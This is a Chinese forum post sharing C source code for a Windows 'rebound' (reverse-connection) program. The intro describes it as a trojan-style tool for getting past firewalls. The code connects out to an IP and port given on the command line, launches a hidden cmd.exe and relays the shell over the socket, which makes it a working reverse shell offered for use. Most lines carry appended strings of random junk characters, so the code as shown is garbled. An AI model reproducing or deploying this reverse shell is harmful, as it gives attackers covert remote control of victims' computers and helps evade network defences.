这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 g/.FJ-I*
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/* ============================== {mD0ug
Rebound port in Windows NT Db Qp(W0
By wind,2006/7 5%2~/
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===============================*/ fQib?g/G
#include M
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#include
Culv/
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#pragma comment(lib,"wsock32.lib") 6<W^T9}v@/
h>!h|Ma
void OutputShell(); :epBd3f
SOCKET sClient; A x8 >
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; YaS!YrpI
Q.$8>)
void main(int argc,char **argv) R?)Yh.vi=t
{ OE(y$+L3_I
WSADATA stWsaData; D Z*c.|W
int nRet; /E<Q_/'Z
SOCKADDR_IN stSaiClient,stSaiServer; 9e`};DE
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if(argc != 3) d3rjj4N"z
{ aU;X&g+_)
printf("Useage:\n\rRebound DestIP DestPort\n"); S*G^U1Sc+
return; E|9`J00
} =)+^ y}xb
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WSAStartup(MAKEWORD(2,2),&stWsaData); 12#yHsk
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); n>u_>2Ikkj
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stSaiClient.sin_family = AF_INET; <7`k[~)VB
stSaiClient.sin_port = htons(0); O<p=&=TD7
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); p+iNi4y@
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) ef*Z;HI0
{ |e#W;q$v
printf("Bind Socket Failed!\n"); eMdP4<u
return; Os[z>H?
} *^@b0f~vj
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stSaiServer.sin_family = AF_INET; 8OOAPp$%|
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); xT&/xZLT
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); AB%i|t
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) 2<UC^vZ
{ 9 D.wW
printf("Connect Error!"); jjH2!R]^>
return; '['%b
} uM'n4 oH
OutputShell(); nL^7t7mp
} `%[m%Y9h
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void OutputShell() <=|^\r
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{ 8cZ[Kl%
char szBuff[1024]; FP&Ykx~
SECURITY_ATTRIBUTES stSecurityAttributes; F\&wFA'J
OSVERSIONINFO stOsversionInfo; N>EMVUVS
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; ,k.")
STARTUPINFO stStartupInfo; 0
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char *szShell; u `w w
PROCESS_INFORMATION stProcessInformation; nt_Cb*K<
unsigned long lBytesRead; K+/wJ9^B
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); U4dfO=
}#.OJub
stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); MjQ>&fUK
stSecurityAttributes.lpSecurityDescriptor = 0; |^Yz*r?BJ
stSecurityAttributes.bInheritHandle = TRUE; D@X"1X!F`G
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); Zt41f PQ
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); /kr|}`#
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ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); @P0rNO%y
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; V G7#C@>Z
stStartupInfo.wShowWindow = SW_HIDE; vt"bB
stStartupInfo.hStdInput = hReadPipe; &to~#.qc
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; b"o\-iUioe
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GetVersionEx(&stOsversionInfo); _0
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switch(stOsversionInfo.dwPlatformId) tol-PJS}
{ hyPS 6Y'1
case 1: ^3vI
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szShell = "command.com"; A]QGaWK
break; ;XNC+mPK
default: *>aVU'
szShell = "cmd.exe"; @ukL!AV?Y
break; ~)pZ5%C
} |4BD
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CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); )Dv;,t
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send(sClient,szMsg,77,0); j."V>p8u$
while(1) &N7q9t
{ j-aTpN
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); pIrL7Pb0
if(lBytesRead) Q+a&a]*KL^
{ c<q33dZ!*
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); 3LQu+EsS
send(sClient,szBuff,lBytesRead,0); ?^:5`
} :Id8N~g
else [KGj70|~
{ \{*`-Pv
lBytesRead=recv(sClient,szBuff,1024,0); g|^U?|;p
if(lBytesRead<=0) break; TRgj`FG
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); lM#/F\
} XpKeN2=p
} 3^H-,b0^
p;zT #%
return; It'kO jx]
}